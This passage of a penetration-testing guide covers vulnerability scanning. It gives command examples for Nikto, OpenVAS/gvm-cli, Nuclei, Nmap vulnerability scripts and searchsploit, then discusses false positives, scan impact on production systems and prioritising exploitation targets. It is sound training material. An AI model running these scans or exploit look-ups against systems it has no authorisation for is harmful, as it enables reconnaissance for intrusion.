&lt;p&gt;For a penetration tester, Nikto is a quick first pass against any discovered web server — run it early, get a fast overview of low-hanging fruit and obvious misconfigurations, then move to deeper tools.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Basic Nikto scan&lt;/span&gt;
nikto &lt;span class="nt"&gt;-h&lt;/span&gt; http://target.com
nikto &lt;span class="nt"&gt;-h&lt;/span&gt; https://target.com

&lt;span class="c"&gt;# Scan specific port&lt;/span&gt;
nikto &lt;span class="nt"&gt;-h&lt;/span&gt; http://target.com &lt;span class="nt"&gt;-p&lt;/span&gt; 8080

&lt;span class="c"&gt;# With SSL&lt;/span&gt;
nikto &lt;span class="nt"&gt;-h&lt;/span&gt; https://target.com &lt;span class="nt"&gt;-ssl&lt;/span&gt;

&lt;span class="c"&gt;# Verbose output&lt;/span&gt;
nikto &lt;span class="nt"&gt;-h&lt;/span&gt; http://target.com &lt;span class="nt"&gt;-Display&lt;/span&gt; V

&lt;span class="c"&gt;# Save output&lt;/span&gt;
nikto &lt;span class="nt"&gt;-h&lt;/span&gt; http://target.com &lt;span class="nt"&gt;-o&lt;/span&gt; nikto_results.html &lt;span class="nt"&gt;-Format&lt;/span&gt; htm
nikto &lt;span class="nt"&gt;-h&lt;/span&gt; http://target.com &lt;span class="nt"&gt;-o&lt;/span&gt; nikto_results.xml &lt;span class="nt"&gt;-Format&lt;/span&gt; xml

&lt;span class="c"&gt;# Specify specific tests to run&lt;/span&gt;
nikto &lt;span class="nt"&gt;-h&lt;/span&gt; http://target.com &lt;span class="nt"&gt;-Tuning&lt;/span&gt; 9   &lt;span class="c"&gt;# Run SQL injection tests&lt;/span&gt;
nikto &lt;span class="nt"&gt;-h&lt;/span&gt; http://target.com &lt;span class="nt"&gt;-Tuning&lt;/span&gt; 4   &lt;span class="c"&gt;# Run XSS tests&lt;/span&gt;

&lt;span class="c"&gt;# Use with proxy (for interception in Burp Suite)&lt;/span&gt;
nikto &lt;span class="nt"&gt;-h&lt;/span&gt; http://target.com &lt;span class="nt"&gt;-useproxy&lt;/span&gt; http://127.0.0.1:8080
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Qualys VMDR and Other Enterprise Platforms
&lt;/h3&gt;

&lt;p&gt;Qualys Vulnerability Management, Detection and Response (VMDR) is one of the leading cloud-based enterprise vulnerability management platforms. Unlike Nessus (which runs as a local scanner) or OpenVAS (which is self-hosted), Qualys is delivered entirely as a cloud service. Organizations deploy lightweight Qualys Cloud Agents on managed endpoints and Qualys Virtual Scanners in internal network segments.&lt;/p&gt;

&lt;p&gt;Qualys is mentioned in this context because it is extremely common in large enterprise environments and frequently referenced in job listings for vulnerability management roles. If you interview for an enterprise security position, Qualys experience may be listed as a requirement. Understanding what it does conceptually — cloud-based, agent-supported, continuous scanning with compliance policy checking and asset discovery — is relevant professional knowledge even if hands-on access requires a subscription.&lt;/p&gt;

&lt;p&gt;Other enterprise platforms worth knowing by name: &lt;strong&gt;Rapid7 Nexpose / InsightVM&lt;/strong&gt; (similar positioning to Nessus Professional/Tenable.sc), &lt;strong&gt;Microsoft Defender Vulnerability Management&lt;/strong&gt; (for organizations standardized on Microsoft security stack), and &lt;strong&gt;CrowdStrike Falcon Spotlight&lt;/strong&gt; (agent-based vulnerability management integrated with endpoint detection and response).&lt;/p&gt;




&lt;h2&gt;
  
  
  3.3.6 Vulnerability Scanning with Kali Tools — Practical Reference
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Setting Up and Running a Professional Scan Workflow
&lt;/h3&gt;

&lt;p&gt;In a penetration testing engagement, vulnerability scanning is not a single-click operation. It is a deliberate, staged process that uses multiple tools targeting different aspects of the attack surface. The workflow presented here is representative of how professional penetration testers approach vulnerability scanning in real engagements.&lt;/p&gt;

&lt;h3&gt;
  
  
  Phase 1 — Infrastructure Vulnerability Scanning with OpenVAS/GVM
&lt;/h3&gt;

&lt;p&gt;For infrastructure-level vulnerability assessment (servers, network devices, workstations), OpenVAS is the primary tool on Kali. The process involves creating a scan target, selecting a scan configuration, running the scan, and analyzing results.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Creating a scan in the GVM web interface (&lt;a href="https://127.0.0.1:9392):" rel="noopener noreferrer"&gt;https://127.0.0.1:9392):&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Navigate to Scans → Tasks → New Task. Provide a name for the task. Under "Scan Targets," create a new target specifying the IP addresses or CIDR range to scan. Select the scan configuration — typically "Full and Fast" for a comprehensive authenticated scan or "Discovery" for a quick initial overview. If performing an authenticated scan, add credentials in the Credentials section before creating the task.&lt;/p&gt;

&lt;p&gt;For penetration testing contexts, the "Full and Fast" configuration runs all applicable NVTs with optimized timing. The "Full and Very Deep" configuration runs more thorough checks including some that may be disruptive to services — use this with caution on production systems.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;From the command line using gvm-cli:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# List available scan configurations&lt;/span&gt;
gvm-cli socket &lt;span class="nt"&gt;--gmp-username&lt;/span&gt; admin &lt;span class="nt"&gt;--gmp-password&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;pass] &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--xml&lt;/span&gt; &lt;span class="s2"&gt;"&amp;lt;get_configs/&amp;gt;"&lt;/span&gt;

&lt;span class="c"&gt;# Create a target (replace with actual IP/range)&lt;/span&gt;
gvm-cli socket &lt;span class="nt"&gt;--gmp-username&lt;/span&gt; admin &lt;span class="nt"&gt;--gmp-password&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;pass] &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--xml&lt;/span&gt; &lt;span class="s2"&gt;"&amp;lt;create_target&amp;gt;&amp;lt;name&amp;gt;PenTest Target&amp;lt;/name&amp;gt;&amp;lt;hosts&amp;gt;10.10.10.0/24&amp;lt;/hosts&amp;gt;&amp;lt;/create_target&amp;gt;"&lt;/span&gt;

&lt;span class="c"&gt;# Check scan status&lt;/span&gt;
gvm-cli socket &lt;span class="nt"&gt;--gmp-username&lt;/span&gt; admin &lt;span class="nt"&gt;--gmp-password&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;pass] &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--xml&lt;/span&gt; &lt;span class="s2"&gt;"&amp;lt;get_tasks/&amp;gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Phase 2 — Web Application Scanning with Nikto
&lt;/h3&gt;

&lt;p&gt;For every web server discovered during port scanning, run Nikto as a fast initial check before deeper application testing.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Quick scan against all discovered web servers&lt;/span&gt;
&lt;span class="c"&gt;# Assuming live_web_servers.txt contains one IP:port per line&lt;/span&gt;
&lt;span class="k"&gt;while &lt;/span&gt;&lt;span class="nv"&gt;IFS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;read&lt;/span&gt; &lt;span class="nt"&gt;-r&lt;/span&gt; target&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do
    &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"[*] Scanning &lt;/span&gt;&lt;span class="nv"&gt;$target&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
    nikto &lt;span class="nt"&gt;-h&lt;/span&gt; &lt;span class="s2"&gt;"http://&lt;/span&gt;&lt;span class="nv"&gt;$target&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt; &lt;span class="s2"&gt;"nikto_&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;target&lt;/span&gt;&lt;span class="p"&gt;//[&lt;/span&gt;:&lt;span class="p"&gt;\/]/_&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;.txt"&lt;/span&gt; &lt;span class="nt"&gt;-Format&lt;/span&gt; txt
&lt;span class="k"&gt;done&lt;/span&gt; &amp;lt; live_web_servers.txt

&lt;span class="c"&gt;# Common Nikto findings worth noting:&lt;/span&gt;
&lt;span class="c"&gt;# - "Server leaks inodes via ETags" — information disclosure&lt;/span&gt;
&lt;span class="c"&gt;# - "The anti-clickjacking X-Frame-Options header is not present" — missing security header&lt;/span&gt;
&lt;span class="c"&gt;# - "Retrieved x-powered-by header: PHP/7.4.3" — version disclosure&lt;/span&gt;
&lt;span class="c"&gt;# - "Allowed HTTP Methods: GET, POST, OPTIONS, DELETE" — dangerous HTTP methods enabled&lt;/span&gt;
&lt;span class="c"&gt;# - "Default account found for 'admin'" — default credential finding&lt;/span&gt;
&lt;span class="c"&gt;# - "OSVDB-XXXX: /phpmyadmin/: phpMyAdmin directory found" — exposed admin interface&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Phase 3 — CVE-Specific Scanning with Nuclei
&lt;/h3&gt;

&lt;p&gt;For targeted CVE checks, especially on external-facing web services, Nuclei provides fast, accurate results.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Scan for critical CVEs specifically&lt;/span&gt;
nuclei &lt;span class="nt"&gt;-l&lt;/span&gt; live_hosts.txt &lt;span class="nt"&gt;-tags&lt;/span&gt; cve &lt;span class="nt"&gt;-severity&lt;/span&gt; critical &lt;span class="nt"&gt;-o&lt;/span&gt; nuclei_critical.txt

&lt;span class="c"&gt;# Scan for exposed sensitive files and panels&lt;/span&gt;
nuclei &lt;span class="nt"&gt;-l&lt;/span&gt; web_servers.txt &lt;span class="nt"&gt;-tags&lt;/span&gt; exposure &lt;span class="nt"&gt;-o&lt;/span&gt; nuclei_exposures.txt

&lt;span class="c"&gt;# Scan for default credentials&lt;/span&gt;
nuclei &lt;span class="nt"&gt;-l&lt;/span&gt; web_servers.txt &lt;span class="nt"&gt;-tags&lt;/span&gt; default-login &lt;span class="nt"&gt;-o&lt;/span&gt; nuclei_defaultcreds.txt

&lt;span class="c"&gt;# Check for specific high-profile CVEs&lt;/span&gt;
nuclei &lt;span class="nt"&gt;-l&lt;/span&gt; targets.txt &lt;span class="nt"&gt;-id&lt;/span&gt; CVE-2021-44228  &lt;span class="c"&gt;# Log4Shell&lt;/span&gt;
nuclei &lt;span class="nt"&gt;-l&lt;/span&gt; targets.txt &lt;span class="nt"&gt;-id&lt;/span&gt; CVE-2021-26855  &lt;span class="c"&gt;# ProxyLogon (Exchange)&lt;/span&gt;
nuclei &lt;span class="nt"&gt;-l&lt;/span&gt; targets.txt &lt;span class="nt"&gt;-id&lt;/span&gt; CVE-2022-22965  &lt;span class="c"&gt;# Spring4Shell&lt;/span&gt;

&lt;span class="c"&gt;# Full combined scan with output&lt;/span&gt;
nuclei &lt;span class="nt"&gt;-l&lt;/span&gt; targets.txt &lt;span class="se"&gt;\&lt;/span&gt;
       &lt;span class="nt"&gt;-severity&lt;/span&gt; critical,high &lt;span class="se"&gt;\&lt;/span&gt;
       &lt;span class="nt"&gt;-tags&lt;/span&gt; cve,exposure,default-login &lt;span class="se"&gt;\&lt;/span&gt;
       &lt;span class="nt"&gt;-o&lt;/span&gt; nuclei_results.json &lt;span class="se"&gt;\&lt;/span&gt;
       &lt;span class="nt"&gt;-json&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Phase 4 — Nmap NSE Vulnerability Scripts
&lt;/h3&gt;

&lt;p&gt;Nmap's scripting engine provides targeted vulnerability checks that integrate naturally with the existing scan workflow.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Run all vulnerability category scripts against discovered hosts&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;--script&lt;/span&gt; vuln &lt;span class="nt"&gt;-p&lt;/span&gt; 21,22,23,25,80,443,445,3389 &lt;span class="se"&gt;\&lt;/span&gt;
          &lt;span class="nt"&gt;-iL&lt;/span&gt; live_hosts.txt &lt;span class="se"&gt;\&lt;/span&gt;
          &lt;span class="nt"&gt;-oA&lt;/span&gt; nmap_vuln_scan

&lt;span class="c"&gt;# Specific high-value vulnerability checks:&lt;/span&gt;

&lt;span class="c"&gt;# EternalBlue (MS17-010) — WannaCry/NotPetya vulnerability&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;--script&lt;/span&gt; smb-vuln-ms17-010 &lt;span class="nt"&gt;-p&lt;/span&gt; 445 10.10.10.0/24

&lt;span class="c"&gt;# BlueKeep (CVE-2019-0708) — RDP vulnerability&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;--script&lt;/span&gt; rdp-vuln-ms12-020 &lt;span class="nt"&gt;-p&lt;/span&gt; 3389 10.10.10.0/24

&lt;span class="c"&gt;# Heartbleed (CVE-2014-0160) — OpenSSL vulnerability  &lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;--script&lt;/span&gt; ssl-heartbleed &lt;span class="nt"&gt;-p&lt;/span&gt; 443,8443 10.10.10.0/24

&lt;span class="c"&gt;# SSL/TLS cipher weaknesses&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;--script&lt;/span&gt; ssl-enum-ciphers &lt;span class="nt"&gt;-p&lt;/span&gt; 443 10.10.10.0/24

&lt;span class="c"&gt;# SMB vulnerability comprehensive check&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;--script&lt;/span&gt; &lt;span class="s2"&gt;"smb-vuln-*"&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; 445 10.10.10.0/24

&lt;span class="c"&gt;# Apache Struts (CVE-2017-5638) — Equifax breach vulnerability&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;--script&lt;/span&gt; http-vuln-cve2017-5638 &lt;span class="nt"&gt;-p&lt;/span&gt; 80,443,8080 10.10.10.0/24

&lt;span class="c"&gt;# HTTP server methods check (dangerous methods like PUT, DELETE)&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;--script&lt;/span&gt; http-methods &lt;span class="nt"&gt;-p&lt;/span&gt; 80,443,8080 10.10.10.0/24

&lt;span class="c"&gt;# Default HTTP credentials&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;--script&lt;/span&gt; http-default-accounts &lt;span class="nt"&gt;-p&lt;/span&gt; 80,443 10.10.10.0/24

&lt;span class="c"&gt;# Database vulnerability checks&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;--script&lt;/span&gt; mysql-vuln-cve2012-2122 &lt;span class="nt"&gt;-p&lt;/span&gt; 3306 10.10.10.0/24
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;--script&lt;/span&gt; ms-sql-empty-password &lt;span class="nt"&gt;-p&lt;/span&gt; 1433 10.10.10.0/24
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Phase 5 — Searchsploit for Exploit Verification
&lt;/h3&gt;

&lt;p&gt;After identifying vulnerable versions, searchsploit (the command-line interface to Exploit-DB) helps quickly determine whether public exploits exist.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Install/update exploit database&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;searchsploit &lt;span class="nt"&gt;--update&lt;/span&gt;

&lt;span class="c"&gt;# Search for exploits by software name and version&lt;/span&gt;
searchsploit apache tomcat 9.0.37
searchsploit openssh 7.4
searchsploit &lt;span class="s2"&gt;"windows server 2016"&lt;/span&gt;
searchsploit log4j

&lt;span class="c"&gt;# Search for specific CVE&lt;/span&gt;
searchsploit CVE-2021-44228
searchsploit CVE-2017-0144

&lt;span class="c"&gt;# Get exploit details&lt;/span&gt;
searchsploit &lt;span class="nt"&gt;-x&lt;/span&gt; 47837   &lt;span class="c"&gt;# View exploit by ID&lt;/span&gt;
searchsploit &lt;span class="nt"&gt;-p&lt;/span&gt; 47837   &lt;span class="c"&gt;# Show path to exploit file&lt;/span&gt;
searchsploit &lt;span class="nt"&gt;-m&lt;/span&gt; 47837   &lt;span class="c"&gt;# Copy exploit to current directory&lt;/span&gt;

&lt;span class="c"&gt;# Output as JSON for automated processing&lt;/span&gt;
searchsploit &lt;span class="nt"&gt;--json&lt;/span&gt; apache tomcat | python3 &lt;span class="nt"&gt;-m&lt;/span&gt; json.tool
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  3.3.7 Challenges to Consider When Running a Vulnerability Scan
&lt;/h2&gt;

&lt;h3&gt;
  
  
  The Realities of Professional Vulnerability Scanning
&lt;/h3&gt;

&lt;p&gt;A significant portion of what separates junior security practitioners from senior ones is their understanding of vulnerability scanner limitations. Scanners are powerful tools, but they produce imperfect output that requires skilled human interpretation. Understanding the challenges inherent in vulnerability scanning is essential for delivering accurate penetration test reports and credible vulnerability assessments.&lt;/p&gt;

&lt;h3&gt;
  
  
  Challenge 1: False Positives — The Scanner Cried Wolf
&lt;/h3&gt;

&lt;p&gt;A false positive is when the scanner reports that a vulnerability exists when it actually does not. This is the most common type of scanner inaccuracy and represents a genuine operational challenge.&lt;/p&gt;

&lt;p&gt;Consider this scenario: a scanner detects that Apache HTTP Server version 2.4.41 is running and reports it as vulnerable to CVE-2021-41773 (path traversal vulnerability affecting Apache 2.4.49). But the scanner's version detection was wrong — the actual version running is 2.4.51, which is patched. The CVE is reported, a ticket is raised, a developer spends two hours investigating, and ultimately concludes the report was wrong. That wasted time is the operational cost of a false positive.&lt;/p&gt;

&lt;p&gt;False positives arise from several sources:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Version mismatch errors&lt;/strong&gt; occur when the scanner cannot precisely determine the software version. If a service has been configured to hide its version number (a common security hardening practice), the scanner may assume the version is the most recently detected one or use heuristics that produce incorrect results.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Backported patches&lt;/strong&gt; are a particularly common cause of false positives in Linux distributions. Enterprise Linux distributions like Red Hat Enterprise Linux and Ubuntu LTS frequently backport security patches to older version branches rather than upgrading to the latest version. This means a system running Apache 2.4.38 might have all the patches from 2.4.51 backported into it — but the version number still reads 2.4.38. A scanner that only checks version numbers will report all vulnerabilities affecting versions 2.4.39 through 2.4.50 as present, when in fact the patches have been applied at the package level.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Mitigation controls&lt;/strong&gt; can render a vulnerability unexploitable without patching. A vulnerability that requires a specific module to be enabled might be reported as present even on a system where that module is disabled. The vulnerability technically exists in the software, but it is not exploitable in the current configuration.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;How professionals handle false positives:&lt;/strong&gt; Every significant finding from an automated scan should be manually verified before being included in a penetration test report. Manual verification might involve checking the package manager's changelog to confirm backported patches, attempting to reproduce the exploit behavior, or consulting the vendor advisory to understand the precise conditions required for exploitation. A finding that cannot be manually confirmed should be noted as "unverified" or "potential false positive" in the report.&lt;/p&gt;

&lt;h3&gt;
  
  
  Challenge 2: False Negatives — The Scanner Missed the Elephant in the Room
&lt;/h3&gt;

&lt;p&gt;A false negative is when a real vulnerability exists but the scanner fails to report it. This is arguably more dangerous than a false positive, because false negatives create a false sense of security — the team believes the system is clean when it is not.&lt;/p&gt;

&lt;p&gt;False negatives occur for several reasons:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Unknown vulnerabilities (zero-days)&lt;/strong&gt; are by definition not in any scanner database. A vulnerability that has not yet been publicly disclosed cannot be detected by signature-based scanning. This is a fundamental limitation of vulnerability scanning that cannot be solved within the scanning paradigm.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Custom or proprietary software&lt;/strong&gt; is not covered by scanner plugins. If an organization has developed in-house applications, the vulnerability scanner knows nothing about their specific weaknesses. The scanner might detect that the application is running and what HTTP framework it uses, but it cannot know about SQL injection vulnerabilities in the application's custom query logic or authentication bypass vulnerabilities in its login implementation.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Logic vulnerabilities&lt;/strong&gt; — flaws in business logic rather than software implementation — are invisible to automated scanners. An e-commerce application that can be exploited to purchase items at a negative price, or an authentication system that can be bypassed by manipulating request parameters, requires human analysis to discover.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Deeply buried vulnerabilities&lt;/strong&gt; may require a chain of conditions that the scanner never tests. A vulnerability that is only reachable after authenticating as a specific user type, navigating to a specific page, and submitting a specific form may never be reached by a scanner's automated crawl.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Configuration-dependent vulnerabilities&lt;/strong&gt; might not be triggered by generic scanner probes. Some vulnerabilities only manifest under specific configuration states or runtime conditions that a scanner's probe sequence does not create.&lt;/p&gt;

&lt;p&gt;This is why penetration testing — with its human analysis, creative thinking, and ability to chain multiple techniques together — is irreplaceable even for organizations that run comprehensive automated vulnerability scanning. The scanner finds what it knows to look for. The penetration tester finds everything the scanner missed.&lt;/p&gt;

&lt;h3&gt;
  
  
  Challenge 3: Scan Impact on Production Systems
&lt;/h3&gt;

&lt;p&gt;Running vulnerability scans against production systems carries inherent operational risk. Scanners send large volumes of probes in short periods of time. Some of those probes test for vulnerabilities by sending intentionally malformed or unexpected input. This traffic can:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Consume network bandwidth&lt;/strong&gt; to a degree that impacts legitimate users. A full scan of a /16 network with hundreds of thousands of ports can generate gigabits of traffic.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Trigger application errors&lt;/strong&gt; when scanner probes hit error-handling code paths that are not tested under normal operations. An application might process millions of normal requests flawlessly, but break when it receives a scanner's SQL injection test payload.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Exhaust database connection pools.&lt;/strong&gt; Scanners that rapidly open and close many simultaneous connections to database services can consume all available connection slots, causing legitimate application database connections to fail.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Trigger IDS/IPS blocking rules&lt;/strong&gt; that block legitimate traffic. An IDS that detects a vulnerability scan pattern might block the scanner's source IP — but if that source IP is your legitimate testing machine, all legitimate access from that IP gets blocked.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Crash vulnerable services.&lt;/strong&gt; Some vulnerability checks — particularly denial-of-service checks and buffer overflow detection — inherently risk crashing the service they are testing. Running these against a production web server during business hours could cause a service outage.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Professional mitigations:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Run scans during designated maintenance windows when the business impact of potential disruption is minimized. Coordinate with operations teams so they know scanning is occurring and can distinguish scan-related alerts from real incidents. Start with non-intrusive scan configurations and escalate to more invasive checks only after verifying that initial scans did not cause disruption. Exclude safety-critical systems or systems where any disruption is unacceptable from scanning scope.&lt;/p&gt;

&lt;h3&gt;
  
  
  Challenge 4: Scope and Coverage Gaps
&lt;/h3&gt;

&lt;p&gt;A vulnerability scanner can only scan what it knows about. This creates a coverage gap that the term "shadow IT" describes: systems, applications, and services that exist on the network but are not formally documented or included in the official asset inventory.&lt;/p&gt;

&lt;p&gt;A developer spins up a test server to prototype a new feature. They use a cloud provider account with a personal credit card. The server runs for six months, gets forgotten, and now sits with an unpatched OS and no monitoring — completely invisible to the organization's vulnerability management program.&lt;/p&gt;

&lt;p&gt;A network printer is connected to the corporate network. Its embedded web interface runs outdated firmware. Nobody thinks to include it in vulnerability scans because "it's just a printer."&lt;/p&gt;

&lt;p&gt;A contractor installs a remote access tool on a workstation so they can support a client. The tool is not approved by IT, creates a backdoor-like access path, and is never removed when the contract ends.&lt;/p&gt;

&lt;p&gt;None of these appear in a vulnerability scan unless the scan covers the full IP range where these devices exist. This is why penetration testing pairs host discovery (active reconnaissance to find all live hosts) with vulnerability scanning — you cannot scan what you do not know exists.&lt;/p&gt;

&lt;h3&gt;
  
  
  Challenge 5: Keeping Scanner Databases Current
&lt;/h3&gt;

&lt;p&gt;The CVE ecosystem produces thousands of new vulnerability disclosures every month. A vulnerability scanner that has not been updated in 30 days is already missing potentially hundreds of new CVEs. A scanner that has not been updated in six months might miss thousands.&lt;/p&gt;

&lt;p&gt;This is not theoretical. In 2021, Log4Shell (CVE-2021-44228) was disclosed on December 9. Organizations that had not updated their vulnerability scanners since December 8 had scanner databases that did not include any Log4Shell check. Mass exploitation began within 24 hours of disclosure — meaning organizations needed to scan for Log4Shell immediately, not after their next scheduled quarterly scanner update.&lt;/p&gt;

&lt;p&gt;Professional vulnerability management programs update scanner databases daily and often multiple times per day for critical disclosures. Some organizations also maintain subscriptions to vulnerability intelligence services (like Tenable's Vulnerability Priority Rating or Qualys TruRisk) that provide additional context about exploitation likelihood and attack trends.&lt;/p&gt;

&lt;h3&gt;
  
  
  Challenge 6: Authenticated vs. Unauthenticated Accuracy Trade-offs
&lt;/h3&gt;

&lt;p&gt;As discussed in the scan types section, authenticated and unauthenticated scans produce different results with different reliability characteristics. In a penetration testing context, there is an additional layer of complexity: the engagement might not authorize providing credentials to the scanner.&lt;/p&gt;

&lt;p&gt;A penetration test that simulates an external attacker would not provide credentials — because an external attacker has none. The scan results will reflect what is visible without authentication. This is actually the most valuable perspective for the client: it shows exactly what an attacker on the internet could identify and potentially exploit without any prior access.&lt;/p&gt;

&lt;p&gt;But for a comprehensive vulnerability assessment — for example, a PCI DSS assessment that must identify all vulnerabilities affecting the Cardholder Data Environment — authenticated scanning is required to get complete coverage. The choice of scan type must align with the engagement objectives.&lt;/p&gt;




&lt;h2&gt;
  
  
  3.3.8 Vulnerability Scanning in the Penetration Testing Lifecycle
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Where Scanning Fits and How to Use Results
&lt;/h3&gt;

&lt;p&gt;Vulnerability scanning in penetration testing serves as a bridge between reconnaissance (knowing what exists) and exploitation (proving vulnerabilities are real and impactful). Understanding exactly how to use scan results to drive the next phase is a skill that distinguishes effective penetration testers from those who just run tools.&lt;/p&gt;

&lt;h3&gt;
  
  
  Using Scan Results to Prioritize Exploitation Targets
&lt;/h3&gt;

&lt;p&gt;After receiving vulnerability scan results, the penetration tester does not immediately begin exploiting every critical finding. Instead, they analyze the results through several lenses:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Exploitability from current position:&lt;/strong&gt; A critical vulnerability in a database server is only useful if the attacker can reach it. If the database is on an internal network segment not directly reachable from the external network, it cannot be the first target — it becomes a target for after lateral movement. The penetration tester maps findings to reachability from their current access position.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Public exploit availability:&lt;/strong&gt; A critical vulnerability with a CVSS score of 9.8 is very concerning — but if no public exploit exists for it, exploitation requires developing a custom exploit, which is time-consuming and high-risk. A vulnerability with a CVSS score of 7.5 but a well-documented, freely available Metasploit module is often a more practical exploitation target. Searching searchsploit and Exploit-DB for each finding reveals exploit availability.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Alignment with engagement objectives:&lt;/strong&gt; What is the penetration test trying to demonstrate? If the objective is to reach the financial database and exfiltrate a sample record, vulnerabilities in IT systems that are unrelated to the path to that objective are lower priority, regardless of their CVSS scores.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Confidence in the finding:&lt;/strong&gt; Was this finding confirmed by the scanner through active exploitation testing, or is it a version-based match? A scanner that checked the version number and matched it against a vulnerable range is less reliable than one that sent a specific exploit probe and confirmed the vulnerable behavior. High-confidence findings get prioritized over uncertain ones.&lt;/p&gt;

&lt;h3&gt;
  
  
  Cross-Referencing Multiple Scan Results
&lt;/h3&gt;

&lt;p&gt;A professional scan workflow uses multiple tools, and their results often overlap — the same vulnerability reported by both OpenVAS and Nmap's NSE scripts increases confidence. More importantly, different tools sometimes find different things: OpenVAS might miss a web application vulnerability that Nuclei catches, while OpenVAS might identify OS-level patch gaps that Nuclei does not check.&lt;/p&gt;

&lt;p&gt;The vulnerability analysis phase involves aggregating all scan results, deduplicating overlapping findings, cross-referencing with exploit databases, and producing a prioritized list of targets for the exploitation phase. This is analytical work that requires judgment and experience — it cannot be fully automated.&lt;/p&gt;

&lt;h3&gt;
  
  
  Continuous vs. Point-in-Time Scanning
&lt;/h3&gt;

&lt;p&gt;Traditional vulnerability scanning is point-in-time: you scan at a specific moment, receive results for that moment, and those results are valid only as long as the environment does not change. A new server deployed the day after the scan is invisible to those results. A patch applied to a previously vulnerable system is not reflected until the next scan.&lt;/p&gt;

